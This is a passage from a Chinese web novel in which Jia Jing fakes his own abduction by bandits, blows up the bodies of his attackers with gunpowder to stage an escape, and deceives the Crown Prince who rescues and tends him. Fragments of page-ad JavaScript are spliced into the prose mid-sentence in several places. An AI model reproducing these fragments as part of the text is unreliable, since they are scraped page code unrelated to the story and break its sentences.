原本,贾敬只打算杀鸡儆猴,先将那黑衣人首领杀死,剩下的黑衣人,利用他们做一出戏,伪造自己被山匪绑走的假象,再让贾敷趁机回京报案,将此事宣扬出去,让大家以为,鲁地的匪患已经肆虐蔓延开来,连京畿都受到了影响。 迫于各方压力,京兆尹定会上奏,请天丰帝定夺。 不出意外,天丰帝自然会派人前去剿匪,而贾敬赶着天丰帝的人之前,将这些黑衣人焚烧在山头上,伪造出自己用计谋反杀土匪,并成功出逃,从而给自己造势。 而黑衣人的身份,根本经不住查,黑衣人背后的人也不会让人去查,毁尸灭迹也无从查起。 倘若贾敬作为新科进士,一举将这小山头的匪患剿灭,甚至还深受重伤,这样的功绩,天丰帝还有脸面让他外任吗? 可若是留在京中,贾敬又有了这层“功绩”,天丰帝若是不让他进翰林院,进六部,反而会引众臣非议,天下耻笑。 如此一来,翰林院倒是贾敬最适合去的地方。 虽说“非翰林,不如阁”,若想进内阁,须得翰林院出身,可又不是翰林院出身,就必须能入内阁? 翰林院当差,尤其是刚进去的新人,无非就是修书撰史、为皇子皇孙做侍读等,想要在翰林院蹉跎一个人,容易的很。 可眼下……贾敬望着自己受伤被手帕包着的手,思忖片刻,先前的计划,也不是不可以? 甚至,更真实了,就他这双手,没得几个月,怕是抓不了笔了。 贾敬便将自己的计划如实说给贾敷,贾敷听完拧着眉, “原本的打算,翰林院是我们家最想让你去的地方,但……” 但那样的前提是,天丰帝没有这样忌惮他们。 “如今进了翰林院,岂不是蹉跎了?” 贾敬勾唇,“他若是不想重用我,到哪里都会是蹉跎,在翰林院的故纸堆里清静清静,也没什么不好。” 高调行事之后,就该敛起锋芒,来麻痹天丰帝了。 如今贾敷安然无恙,他若是真的借黑衣人捞一波剿匪的功绩,逼迫天丰帝妥协,那么之后是得躲上一阵儿了。 “哥,我做个富贵闲人,才是他想看到的。” · 在离上朝前还有半个时辰,京兆尹陆如松被衙役急急忙忙从梦乡中唤醒。 “到底发什么了什么事?” 陆如松对这种突发事情早已经习以为常,京兆尹这个位置可不好做,出了事,半夜被人从床上拉起来,也是常有的事情。 这皇城根底下,多是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 皇亲国戚,晚上能来京兆尹报案的,也都是这些人。 什么喝花酒打架了,各家子弟争花魁种种。 “大、大人,是宁国府的贾大爷来报的案子,说、说……” 衙役跑得气喘吁吁,说话也断断续续,陆如松听得更急。 “报的什么案子?” “说府中二爷在京郊外被山匪绑了!” 陆如松脸色一白,“宁国府二爷?刚考上进士的那位敬二爷?” 若真的是这位,那这事儿可不小! 陆如松看了看天色,“快、快,去写折子,等会儿早朝禀告给陛下!” 贾敷是刚开城门就直接骑马到了京兆尹门口,动静不可谓不小,因此还未上朝前,许多人都已经得到了消息: 宁国府的敬二爷,昨晚在京郊外居然被流寇土匪绑了! 这还得了? 鲁地的流寇土匪已经肆虐到京畿了? 甚至已经胆大到去劫掠贵人们了? 一时间,无论是平头百姓还是达官贵族皆是人心惶惶。 东宫 萧淮川刚起,见身边跟着的太监忍冬一脸急色,微微蹙眉, “何事?” 忍冬纠结,他怕他说了,殿下连早朝都能误了,可若是不说…… 最终忍冬咬了咬牙,“殿下,刚刚得到消息,二爷昨晚在京郊外,被鲁地流窜的土匪流寇,给掳走了。” “刚刚贾大爷去京兆府报案了。” “砰!” 萧淮川失手打翻了茶杯,蹭的站起身,面色难看至极,急匆匆步入暗色。 14. 第 14 章 忍冬连忙追出去,见萧淮川去的方向是向大朝殿走去,才猛地松了口气,还当主子真的会因为贾二爷没了理智,真的连早朝都不去了。 他一路小跑跟上,暗沉夜色下,萧淮川铁青的脸色依旧显眼。 “主子,贾二爷吉人有天相,不会有事的。” 萧淮川没有吭声,步伐越走越快。 东宫距离大朝殿本就不远,可快要到大殿门口时,萧淮川却并未进去。 他站在外场,扫视着全部已经到来、在此等候准备上朝的文武大臣们。 “太子殿下。”一旁的小太监注意到萧淮川这一异常举动,很有眼力见儿的上前。 萧淮川瞥了一眼,沉声问道:“京兆尹陆大人可来了?” 小太监立刻回道:“到了到了,不过,陆大人刚刚被陈总管召到后殿去了。” 陈林陈总管,是天丰帝跟前的人,御前大总管。 后殿,看来是天丰帝将人召走了。 萧淮川得到自己想要的结果,立刻抬步朝后殿走去。 这些事情本不应该他亲自来问,但是他已经等不及派人询问,便自己出了门。 萧淮川来到后殿时,门口站着一个人,正是御前大总管陈林,见是萧淮川前来,笑吟吟迎上,好似毫不意外他会过来。 “太子殿下,圣上正等着您呢。” 萧淮川闻言,眸光微闪,但却没说什么,径直走了进去。 “……圣上,您可要救救阿元啊!臣就这么一个弟弟啊!” 里面悲戚的声音让萧淮川脚步一顿。 这是贾敷的声音,阿元果真被山匪掳走了! “如开啊,朕肯定会去救培元的,你……” 萧淮川大跨步进去,天丰帝撑着头,他正被贾敷的哭声吵得头疼,见萧淮川从外进来,仿佛跟看见救星一般, “太子来了。” 背对着萧淮川方向跪着的贾敷身体微不可察的一僵,他怎么把萧淮川给忘了! 虽然自家弟弟最近几年和萧淮川的关系有些别扭奇怪,但到底还是亲近的,萧淮川对于贾敬的了解不亚于自己,若是被他发现了蹊跷…… “拜见父皇。”萧淮川面上已经没了先前的焦急和难看。 天丰帝抬眼,扫了一眼萧淮川,“贾培元的事情,太子应当也听说了吧?” 萧淮川目光动都未动,语气平缓,“是,方才听说了一些,具体事情并不清楚。” 天丰帝瞧了京兆尹陆大人一眼,示意他将事情再说一遍。 陆大人先是看了贾敷一眼,见他垂着头抹泪,丝毫没有说的意思,才将自己掌握的消息说了出来。 他言简意赅的说完,萧淮川依旧面不改色。 “啪!” 天丰帝猛地一拍御案,“这些山匪流寇,简直猖狂放肆!” “天子脚下居然敢如此行事!” “太子啊,朕记得你和培元关系素来交好。”天丰帝说这句话时,打量了萧淮川一眼,见萧淮川面色如常,眯了眯眼,“这件事就交给你去处理,领京城守备军。” 萧淮川微微躬身,“是,儿臣领命。” 贾敷低垂着头,想要婉拒,但若是自己开口,必定会令人起疑,他暗自咬了咬牙。 没想到天丰帝居然派了萧淮川!希望萧淮川不会发现什么,他们的计划一切顺利。 天丰帝一摆手,“早朝你们也不必参加了,去吧。” 贾敷颤颤巍巍起身,抬起涕泗横流的脸,对着萧淮川,“殿下,臣弟就拜托了!” “自然。” 待三人出了殿,天丰帝才收回自己的目光,颔首:“陈林,上朝吧。” 这厢,贾敷跟在萧淮川身后,神情略显探究。 若是天丰帝真的忌惮宁国府,那么萧淮川这个太子呢? 他知道天丰帝的心思吗?他对宁国府又是什么态度? 他对于阿元的亲近,是真的从小一起长大的情谊,还是……想要利用阿元? 算了,这些后面在想,先把今日的难关过掉。 贾敷知道,现在萧淮川对贾敬的那份关心和焦急是真的。 即便刚刚萧淮川面上装的那么镇定,可能会骗过天丰帝和陆如松,却骗不过他。 瞧瞧平日里端方的太子殿下,现在袍角已经纷飞。 可贾敷又开始担心另一件事了,若是萧淮川发现这件事是阿元一手策划,那…… 不,不能有这样的可能,即便是真心对阿元的萧淮川,也不能知道这件事,今日之事,只能成功。 陆大人被萧淮川安排去调京城守备军,出了宫门便分道扬镳,而萧淮川终于露出了焦急之色,询问贾敷, “敷大哥,到底是怎么一回事?阿元怎么会出城?” 他前日晚上刚派小太监送贾敬回了宁国府,听忍冬说,小太监回来禀告,是亲眼看着贾敬进了宁国府,还给了赏银。 这件事贾敬和贾敷提过,贾敷知道。 贾敷抬起袖子擦了擦眼角,“我前些日子在庄子上忙,就为了近日给阿元办庆祝宴。” “本打算昨日回来的,谁知刚启程,阿元便给我传了信,说他去温泉庄子上了,唤我一起去。” “想着和阿元一起回来,便去了。”贾敷说到这里,面色一恸,“谁知我刚走到半道上,就遇见了跑出来报信的小厮,说、说……” “说来了山匪,抢劫了温泉庄子。待我到时,已经人去楼空,连阿元都被他们掳了去!” 萧淮川眉紧紧拧着,“他们若是抢财,绑了阿元作甚?” 贾敷小心地咽了咽口水,到底是编的,他没想好啊。 就在贾敷脑中飞速思考时,就见不远处城门那儿有小兵跑来,忍冬和太子护卫立刻将人拿下,大声呵斥,“什么人!” 守城小兵吓得腿一软,“报!小的收到一封信!说是给宁国府大爷的。” 他也不识得这里面站着的谁是宁国府大爷,这是他上官喊他报来的。 贾敷和萧淮川下意识对视一眼,眼皮一跳,好似想到了什么。 忍冬拿过信封,瞧了萧淮川一眼,将手中的信递给了贾敷,贾敷接过立刻拆了信,看到内容的那一瞬间,他便知道怎么做了。 “这帮山匪真卑鄙!” 贾敷一目十行,看完随即大骂,怒目圆睁。 萧淮川目光一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 凛,“可是关于阿元的?” 贾敷将信一把递给萧淮川,嘴上说着,“他们果然够贪,他们将阿元抓走,就是为了更多的赎金!” 萧淮川此时也将信中的内容看完,是那帮“山匪”寄来的信,上面写着:想赎人,黄金万两,京郊西骨山。 贾敷紧咬着牙,目光恨恨,“不过是钱,为了阿元,我有什么掏不出的?” 说完,贾敷便去吩咐人去准备,做完这一切,贾敷猛地一拍脑袋,“糟了,我报了官,若是惹怒了他们怎么办?” 萧淮川面色沉重,摇头,“他们这些亡命之徒,不仅仅是用钱就能将人赎回的。” 萧淮川根本不信土匪流寇的话,一想到那些人可能会对贾敬做的事情,萧淮川手紧了紧,连手中的信纸都被他捏出了深深褶皱。 不过却是能确定这些人所在的山头了,就在宁国府温泉庄子旁边的一个山头。 温泉庄子…… 萧淮川像是想到了什么,眼眶竟然红了几分,他盯着贾敷, “阿元是何时去的温泉庄子?” 贾敷对上萧淮川微红的眼睛,一愣,怎么感觉不对劲? 还没等贾敷想好说什么,他们就听旁边一道颤抖的声音响起,“是前天夜里……” 萧淮川眼神犀利的朝声音方向看去,是站在旁边方才送信的守城小兵。 “前天夜里?你如何知道?” 萧淮川一个箭步向前,来到小兵面前。 面容稚嫩的小兵在萧淮川的威压下,两股战战,“前夜是小的守城,贾、贾二爷那辆马车是最后一趟出城的。” “说是去城外温泉庄子,小的格外有印象。” 萧淮川呼吸重了几分,他目光遥遥地望向西边。 “带好银钱,拿这些迷惑那些匪贼,孤带人绕后上去。”萧淮川当机立断。 此时,陆如松也已经将守备军调来,萧淮川直接领着守备军,就跨马急去。 贾敷转了转大拇指上的扳指,心里略带担忧。 刚刚萧淮川神色不对劲,希望阿元不会露馅吧。 · 西骨山 贾敬望着山头上摆的一排排的黑衣人尸体,勾了勾唇。 护院早已经听他命令下了山,如今这个山头上,只有他一个,以及这群该死的。 贾敬拿出一个瓷瓶,拔开盖子,都不用凑近就一股刺鼻的味道涌出。 干燥,燥热。 若是在场有人闻见,定要问一句,是不是有人放烟花了。 这是硝石粉,贾敬特地去温泉庄子找来的。 他慢悠悠的将这些硝石粉洒在这些黑衣人的身上,又拿出了另一个瓶子,里面是另外一种石粉。 贾敬将这些粉末倒在了一起,拿出了一根火折子,将火折子吹燃。 晨光和火光都照在贾敬的脸上,映射着火光的桃花眼,此时含着笑意,显得异常妖冶。 多亏他上辈子沉迷于丹药,不仅炼得一手好丹,他还知道,怎么制作火药,引起爆炸。 “砰!” 萧淮川骑马至山脚,听见山头上传来的巨响,猛地抬起头。 是爆炸声。 15. 第 15 章 “轰隆隆……” 随着一声巨响爆炸声后,山顶上紧接着传来轰隆声,是山石坍塌滚落的声音。 “退后!保护殿下!” 守备军一边护着萧淮川,一边集体朝后撤去。 萧淮川眼含担忧地望着山崖侧面滚落的巨石,忧心忡忡: 上面到底发生了何事,为何会突然爆炸,阿元如今是何情况…… 一时间,萧淮川的脑海里思绪万千,各种猜测冒出。 他猛地一拉缰绳,粗粝的缰绳磨在手心,刺痛感拉回了萧淮川的理智。 萧淮川深呼吸一口气,努力让自己冷静,阿元还在等他。 前方探路的小兵灰头土脸得翻过山石阻拦,退了回来, “报!” “前方山腰处并无埋伏,请殿下示下,是否前进。” 萧淮川看着前方被堵住的山路,“先翻过这里,小心点,不要轻举妄动。” 他心中泛起一丝怪异,他选择绕后,就是猜测山匪后山防守不严,却没想到,居然都没人看守。 是布置了陷阱,还是流寇山匪刚占领了山头,并不熟悉,或者人手不足,因此忽略了? 无论是什么情况,都必须向前。 · 贾敬即便躲在了他早就挑好的巨石掩体后,也难免被火药爆炸的巨大冲击所波及,踉跄得栽倒在地。 他下意识手撑着地,原本包扎已经止血的手再次受到重创,透过手帕再次渗出血来。 贾敬摇晃着身体站起身来,不用看也知道,自己此时定是狼狈不堪。 不过,这正是他要的效果。 贾敬低头,看着自己手上缠着的手帕,上面红色血渍沾着灰土,已经不能用了。 他桃花眼角下垂了几分,显得有几分颓丧和恼意。 可惜大嫂子的手帕了,希望嫂子不会生气。 贾敬操纵着因为疼痛到已经麻木不受控制而颤抖的手,将手上的帕子解开,尽可能将帕子折叠好,收进了袖中,就随意将还在流血的手裸露着。 他冷淡木然的目光落在不远处的残臂断腿上,像是在看一堆秽物。贾敬抬眸看了看天色,远方山峦上已经缓缓升起了一轮红日。 天亮了,兄长回城搬来的“救兵”也快到了。 会是谁来呢?会是他吗? 想到这里,贾敬下意识地抬起手,想要去抚摸脖颈处,但望及血肉模糊的手,动作一滞,最终将手垂下。 但胸口传来的灼热,提醒着贾敬,那件物件,还在。 如果真的是萧淮川,那他准备的这个物件也不算白准备,只是,到底是利用了萧淮川。 他骗了他…… 如果萧淮川发现,面前这一切残忍血腥的手段,都是他的所作所为,会怎么样? 他是那样的君子端方,会……厌恶他吧? 贾敬这般想着,眼神变得有些涣散,心越跳越快,呼吸变得急促了起来,他仿佛是一条被人从鱼塘捞出来放在岸上的鱼。 “嗬嗬嗬。” 贾敬大喘着气,喉咙里涌出几声怪异的声音。 他没有办法,他不得不这样做。 他要救下兄长,要保下宁国府,也要在不久后,救下萧淮川。 即便欺骗萧淮川,背着萧淮川做这些残忍血腥的事情,他也不会放弃,能瞒着一天是一天,若是上天眷顾垂帘,也能让他一直瞒下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 他再也不想失去他们了…… 即便他们知道真相后,会厌恶他,恐惧他,恶心他。他只求他们活着,好好的活着。 至于他自己,无所谓了,他这辈子是来赎罪的。 “滴答滴答……” 贾敬紧紧攥着手,用疼痛刺激着他混沌的脑袋,鲜血顺着手腕滴落。 他晃了晃眩晕的头,原本樱粉的唇色如今惨白一片。 撑住,还有最后一场戏需要演,成败在此一举了。 贾敬拖着沉重的步伐,深一脚浅一脚的朝山路走去。 他此时心里,竟期望来的是萧淮川,若是他,自己大抵是可以糊弄过去的,凭着萧淮川这些年对自己弟弟般的情谊。 贾敬的嘴角扯了扯,有些讽刺,又有些哀伤。 他在利用萧淮川啊…… 贾敬眼前时不时发黑,他紧咬着唇,强撑着朝山下走去,忽然,他听到脚步声。 即便对面放轻了脚步,可人数不少,本就留意这一切的贾敬自然便听见了。 贾敬小心地停下脚步,放缓着呼吸,仔细听着: “……殿下,已经到半山腰了,还需要接着前进吗?” “嗯。” 当熟悉的那一道声音响起,贾敬缓缓勾起唇角,真好,真的是他。 贾敬阖上眼,放任着自己倒下,顺着山路,一路滚了下去。 听到动静,守备军都严阵以待,甚至都亮出了刀剑,萧淮川也目光灼灼地盯着,当看到那抹身影滚落时,萧淮川瞳孔骤然一缩,“不要伤害他!” 他自己则是直接飞步上前,一把将上方滚落的人接住, “阿元!” 16. 第 16 章 “阿元!” 萧淮川一把将人揽在怀里,看着面如金纸,双眼紧闭的贾敬,原本就不安飘荡的心此时如同被狠狠砸在地上一般,沉重闷痛。 贾敬原本白皙的脸上如今尽是从山路上滚落而导致的擦伤和灰尘,衣领和袖摆处的点点红梅血迹,刺目惹眼,萧淮川的心跟着一沉。 阿元受伤了! 萧淮川颤抖着手,眼睛四处扫视贾敬的全身,衣服遮挡看不见伤口,他小心翼翼地环着贾敬,生怕碰到了贾敬受伤的位置。 守备军统领见上面滚落的是贾二爷,心中也是跟着一惊,瞧着是狼狈不堪,生死不知。 他立即吩咐人将萧淮川周围围住,以防万一上面有突然敌袭,又安排另一部分人直接朝上探去。 “阿元,醒醒!” 萧淮川轻声又急切的唤着双眼紧闭仿佛已经没有意识的贾敬。 贾敬好似听见萧淮川唤他,眼皮微微翕动了几下,萧淮川心跟着漏了一拍。 “阿元。” 终于,贾敬睁开了眼睛。他努力适应着眼前模糊到看不清的视线,听着耳旁熟悉的嗓音,张了张嘴, “淮哥……” 其实声音细如蚊蝇,然而萧淮川还是知道,贾敬喊的是自己。 “是,是我。” 贾敬本就失血过多,加上方才的那一番翻滚,只觉得眼前发黑,浑身被巨石碾过一般疼痛,他努力睁大着迷离混沌的眼眸,克服逐渐消散的意志。 现在还不能晕,他的苦肉计还没有演完。 他滚动着如刀割般的喉咙,眼神无焦,努力抬起疼痛无力的手,扯住萧淮川的衣袖, “淮哥,我把他们全部炸死后,逃了出来。” 萧淮川一惊,山上的爆炸声居然是阿元所为。 “淮哥,我等到你了……” 萧淮川望着自己的袖子瞬间被鲜血洇湿,眼眸骤然一颤。修长且骨节分明的手上已经布满了伤痕,血迹斑斑,有些地方甚至能看到微微露出的白骨,触目惊心。 手怎么伤的这么严重,是方才炸伤的吗? 贾敬另一只手则是扯出了脖颈处的一样东西,嘴角缓缓勾起, “淮哥,送你的回礼,我拿到了。” 萧淮川望着贾敬手中被他鲜血染成一片,已经看不出是什么的东西,瞬间红了眼尾,心更是一阵发酸。 果然,阿元是为了这个,才来的温泉庄子,是因为他…… 倘若阿元不是为了这件东西,就不会来温泉庄子,也不会飞来横祸遇见山匪。 萧淮川喉结上下滚动,却发不出半点声音,他看着贾敬不断渗出血的手,心又急又疼,怎么会有这么多血,怎么能流这么多血。 他轻轻握住贾敬的手,声音嘶哑,“阿元,我看见了,松手,乖。” 贾敬此时眼睛已经半阖,也不知道是否能听见萧淮川的声音,他未动半分,依旧握着。但他好似也没了力气,只是虚虚握着。 下一瞬,贾敬扯着萧淮川袖子的手松开,头顺着垂下。 萧淮川呼吸跟着一滞,倘若不是贾敬靠在他肩头的脖颈还有颈脉细微跳动,他还以为…… 便是知道贾敬是晕了过去,萧淮川此时也觉得自己被人卡住了脖子,仿佛要窒息了。 他随后深吸一口气,手臂牢牢抱住贾敬,声音尽可能的冷静温柔, “阿元,我带你回家。” 阿元,你不能有事。 将贾敬小心横抱起,身后方才上去探查的守备军已经回来了。 “禀殿下,山头属下已经全部探查完毕,上面山匪无一人存活,据现场勘察,全是死于火药爆炸。” 萧淮川稍稍抬眼,望着山头的方向,眸光冷冽,声音也不似刚才温和, “无论生死,先全部带回去。” “是。” 萧淮川快步抱着贾敬下山,刚到山脚就与贾敷撞了正着。 贾敷望着全身沾满血迹,衣服残破不堪被萧淮川横抱在怀里的贾敬,腿脚一软,失声道: “阿元!” 贾敷心急如焚的凑上去,“这是怎么回事?阿元怎么了?” 不是说演戏吗?怎么弄得这样了! 但现在不是跟贾敬算账的时候,他要知道贾敬现在身体到底如何! 萧淮川脚步不停,“阿元从山上滚了下来,身体有几处受伤,失血过多晕过去了。” “殿下,将 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 阿元给臣……” 贾敷急忙忙伸出手,想要从萧淮川怀中接过自己弟弟,谁知萧淮川身子一侧,躲过了贾敷伸出的手。 “敷大哥,还是让阿元随孤回东宫吧。” 说完他也不等贾敷回答,这仅仅是他的告知。 贾敷想着宫中御医医术精湛,也没拒绝,连忙追上。 · “快,准备热水,干净的布巾……” 东宫的御医早已经被人通传在此等候,贾敬一到,一群人便围了上去,吩咐医童宫女准备各种东西。 东宫伺候的宫人也明显感觉到今日太子殿下的不同,即便就这么面无表情静默地站在一旁,也让人忍不住胆寒,和平日里敦厚儒雅的太子殿下,判若两人。 众人纷纷加快脚步,按照吩咐忙碌起来。 萧淮川眼眸一眨不眨地盯着床上的贾敬,见太医拿着剪刀将贾敬衣服划破,看着身上大片大片的淤青摔伤擦伤,萧淮川心陡然一悸。 “他可有什么大碍?” 萧淮川终是没忍住,问了出来,他怕啊…… 御医已经大体帮贾敬看了一遍,见太子殿下如此紧张,便答道: “回禀殿下,贾二爷并未有什么严重内伤,无性命之忧,请殿下宽心。” 可即便御医这样说,萧淮川依旧紧绷着,难受着。 无性命之忧,可是阿元这一身伤,多疼啊。 看着御医为贾敬处理上课上药,他紧闭着眼,身体疼得忍不住颤抖蜷缩,萧淮川恨不得自己以身代之。 御医清洗到贾敬的手部伤口,见他手中握着什么,扯了扯,没扯出。 贾敬的眉已经蹙起,脸上写满着抗拒,御医刚准备要用手掰开取出,萧淮川见状,连忙道: “放着让孤来。” 萧淮川上前,伸出微抖的手,轻轻拂在贾敬的手上,温热熟悉的安抚感觉,让贾敬手一松,手中的东西滚落,砸在了萧淮川另一只手心里。 御医用帕子将血迹拭去,丢进铜盆中,瞬间水与血混合在一起,鲜红一片。 萧淮川则是怔怔地望着手心里那沾满鲜红血色的圆珠,抿了抿唇。 这是当初阿元给他承诺的回礼。 17. 第 17 章 这是当年在杏花树下,贾敬承诺给萧淮川宫花的回礼。 “唔……疼……” 没等萧淮川多想,一声痛苦的呻吟声就拉回了萧淮川的思绪。 他小心且迅速地将沾着血迹的圆珠包在帕子里,揣入怀中,随即转身来到贾敬床榻边,入目的便是御医正在为贾敬处理伤可见骨的掌心。 望着御医拿着布巾向伤口旁的血迹擦拭去,萧淮川的心跟着一紧,手下意识就伸了出去,脱口而出, “轻点……” 这位御医在宫里当差时日也不短了,自然懂得察言观色,也早已经适应各位贵人的紧张举动,手上的动作更是放轻了三分,生怕为贾敬再添丝毫疼痛。 “嘶……” 然而就算是如此,贾敬依旧被疼得无意识倒吸一口凉气,手下意识就要往回缩,萧淮川一把将他的手腕握住。 御医眼睛稍稍一抬,见此情形,赶忙小心翼翼地接着清理伤口。 萧淮川目光定定望着贾敬掌心里那几道深刻入骨显得骇人的伤口,眉头紧锁,握着贾敬手腕的手都忍不住微微颤抖。 贾敬作为公府公子,从小锦衣玉食,就他的这双手,除却一些练字射箭的薄茧,别的地方比普通人家姑娘的手还要嫩,弓弦划破手心跟划破豆腐似的。 而这样的伤口,即便是对一个身经百战的士兵来说,也是要休养许多时间,更不要说放在贾敬身上。 萧淮川一手握着贾敬的手腕,不让他后缩;一手轻轻安抚因为疼痛而蜷缩发抖的贾敬,而眼睛却紧紧盯着那伤口,心口一抽一抽,他却跟自虐一样不愿挪开眼。 他要记住这一切,是为了他,阿元才会遇到这些,才会有如此遭遇。 御医将伤口周围的血渍、砂砾全部清理干净,仔细看着伤口。 萧淮川见御医的神色越来越肃穆慎重,眼皮微微一跳,动了动干涩的喉咙,瞧了一眼还在昏迷的贾敬,沉声问道: “阿元的伤口,可有什么大碍?” “说实话,不要瞒着孤。” 伤口之深,御医也没打算瞒着,他心中稍微斟酌几分,谨慎回答: “回禀殿下,贾二爷的伤口十分凶险,仅差毫厘便要伤及筋脉,倘若稍有不慎,再往里深上一分,后果不堪设想。” 此话一出,萧淮川的脸色灰白了几分。 御医见状,连忙接着道:“万幸,没有伤及到筋骨,且救治及时,请殿下放心。” 御医边说边观察着萧淮川的脸色,“待臣上了药后,小心养护,在此养护时间,手部动作不宜过大,以防牵扯到伤口,绝不能让伤口二次崩裂。” 萧淮川抿了抿唇,轻声问道:“这样的伤,可会影响他握笔写字?” 阿元刚考中进士,若是这双手不能握笔…… 听萧淮川终究问了这件事,御医也顺着答道:“微臣知道,贾二爷这般惯用笔墨的人来说,手是极为重要的。” 御医说着顿了顿,“此伤口虽没有伤及到筋脉,然而到底严重,后面可能……” 萧淮川心一沉,“可能会怎样?” “后续可能会有些影响,比如提笔无力,手指僵硬,时间过长会酸疼……”御医的声音越说越小,本就不足的底气,现在更加心虚了。 他自然知道这位贾二爷身份不同,太子殿下乃至圣上都密切关注,可贾二爷的手伤,当真是说严重不是特别严重,说轻又很棘手。 “但若是加倍小心照料,定是会痊愈的。”御医找补了一句。 闻言,萧淮川的脸色并未好转。 阿元他最是了解,心气高,为人要强,他想做的事情,便想做到最好。 就拿贾敬最擅长的书法来说,全京城学子都知晓贾培元一手行楷名满天下,即便很多不喜阿元的寒门子弟也都不得不承认,那字他们都比不上。 可只有萧淮川知道,阿元先前最是厌恶练字,小时候更是被先生讽刺,说他是“一□□爬字”。 而也是在那之后,贾敬发愤图强练字,在他的书法有了名声后,更是写了一幅字,当做“礼物”送到了那位先生家中。 若是阿元知道,他连笔都可能握不稳,那…… 想到这里,萧淮川深深地吸了一口气,强自镇定下来,对御医吩咐道:“这件事先不要让他知道。” “无论如何,竭尽全力治好他的手,尽可能连伤疤都不要留。” 这要求对于御医来说,也算是苛刻了。可太子殿下素来宅心仁厚,御医也知道,即便他们做不到,太子殿下也不会太过为难他们。 御医嘴上应承道:“请殿下放心,微臣定当全力以赴,不会有任何疏忽。” 御医拿出伤药,当药粉即将要撒到贾敬的伤口上时,他的手骤然一顿,提醒萧淮川,“殿下,这药粉下去,会比较疼,请殿下一定要扶住贾二爷,不能让他乱动。” 萧淮川颔首,“孤知道了。” 他稳稳握着贾敬的手腕,示意御医上药。 “唔……” 药粉撒上去的那一刻,贾敬的身体猛地一颤,疼得脸色苍白,额头也渗出了一层细 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 密的冷汗,满脸痛色。 “没事了,我们上完药就没事了,很快的。”萧淮川颤声安抚。 贾敬下意识死死咬住唇,原本就失血过多的唇色,此刻更是白得几乎透明。 萧淮川看在眼里,疼在心里,恨不得以身替代。 御医见状,也不敢耽搁,迅速且精准的将药洒落在伤口周围,慢慢地渗透进皮肤,尽可能减短贾敬的痛苦。 与此同时,旁边跟着的小徒弟则是将准备好的纱布递给御医,御医接过,迅速将伤口包上。 经过一番忙碌,终于是处理完了,御医深深呼出一口气。 萧淮川眼都未抬,“上好了?” 御医也不顾额头的汗水,向萧淮川禀报道: “换好了,换好了。” “……疼……”贾敬唇微微动着,呼痛的呻吟声不断从口中溢出。 御医:“殿下,这药刚敷上,是会有些疼的,微臣待会去准备些汤药,可以止痛。” 萧淮川一听,给旁边的忍冬使了个眼色,忍冬立刻明白,他上前一步,对御医笑着道:“方御医,您跟咱家说就成。” “诶。”御医也连忙应声,带着小徒弟跟着忍冬出去,准备止疼汤药去了。 萧淮川此时的心思都在贾敬身上,见贾敬额发已经被汗水湿透,从旁边的同盆里拿出一块干净布巾,拧干,细细擦拭,嘴上还在不停的安抚着贾敬。 不知道是药效已经逐渐稳定,还是萧淮川沉稳温柔的话真的起到了效果,贾敬原本还在挣扎的身体慢慢安稳下来,沉沉睡去。 萧淮川让其他人都退了出去,自己静静地陪着。 忽然想到了什么,从怀里掏出那颗被帕子包着的圆珠,借着方才的布巾,轻轻擦拭掉上面的血迹,露出了圆珠原本的金色光泽。 乍一眼看以为是金珠,实则是独产于温泉旁的一种,世人称“砂金”。 因为质地松散,很难成型,且外形和金珠无二,因此鲜少有人会去找这类砂金金珠。 要说砂金金珠和普通金珠有什么区别,那大概便是砂金普遍高于金珠的温度,常年温热。 萧淮川手持着这颗砂金金珠,明明只是温和的热度,却仿佛跟火一般,灼得他手疼,就如阿元对他的那份心一般。 待萧淮川收好砂金金珠,转过头,刚好对上贾敬半睁半敛的眼眸,正眼里含笑的望着自己。 “阿元,你醒了!” 贾敬目光落在萧淮川怀里,声音沙哑轻弱,但带着期待,“淮哥,那颗金珠,你喜欢吗?” 18. 第 18 章 “就为了这个,你……” 面对贾敬的那张虚弱含笑的脸,萧淮川本想说出的话堵在了嗓子眼,半句重话也说不出,最终只能轻轻将手覆在贾敬的手腕上,动了动有些发紧的喉咙, “喜欢。” 萧淮川视线落在贾敬那双伤手上,便再也挪不开了,那双眼里是无奈,更是心疼。 “可还疼?” 贾敬眼眸轻瞥,瞅了眼自己的那双手,无所谓的笑了笑, “别担心,我没事的,不疼。” 他的声音不似往常清亮,稍显嘶哑,带着颤音。 萧淮川盯着贾敬弯着上扬的嘴角,或者说,是贾敬方才昏迷疼痛难忍时咬破的唇角。 方才不明显的痕迹,此时都已经殷红出了血,嘴上还说着不疼,声音都打着颤,却还在安慰他。 傻不傻? 贾敬若有所觉,感受到嘴角传来的撕裂刺痛,下意识抿了抿唇,像是想掩盖什么。 他目光下垂,落到萧淮川握着自己的手腕上,只觉得有些烫,不自觉的动了动手腕。 萧淮川叹了口气,顺势松开贾敬的手腕,手拿起旁边挂架上的干净布巾。 “我自己来。” 贾敬说着就要抬胳臂,萧淮川见状眼皮跟着一跳,再次伸手按住了贾敬的手腕,眉头动了动, “别乱动。” “你这手还想不想要了?” 萧淮川的语气有些沉, “手到底是怎么伤的?御医说,这是弓箭的弓弦划伤的?到底发生了什么事情?爆炸又是怎么一回事?” 倒不是萧淮川不顾贾敬昏迷刚醒,就要盘问这些,而是京郊出现流寇作乱,已经让京中人心惶惶,此事非同小可,天丰帝都还等着关于此事的消息,他得先确定贾敬这边的证词。 其实在路上,守备军统领已经向萧淮川汇报了大致事情的来龙去脉。 鲁地的流寇土匪流窜到了京城,就躲藏于西骨山上。 他们也知晓旁边的温泉庄子是京里达官显贵的庄子,便一直盯着,想要捞上一笔,刚巧碰上贾敬过去,将贾敬捉去,想要好好敲诈一笔。 贾敬眨了眨眼睛,将自己先前就已经盘算好的话说给了萧淮川听。 “我就是去温泉庄子,谁知道忽然来了一群山匪,将我捉了去。” “我挣扎反抗,他们想要用弓弦勒我的脖子,我握住了那弓弦……” 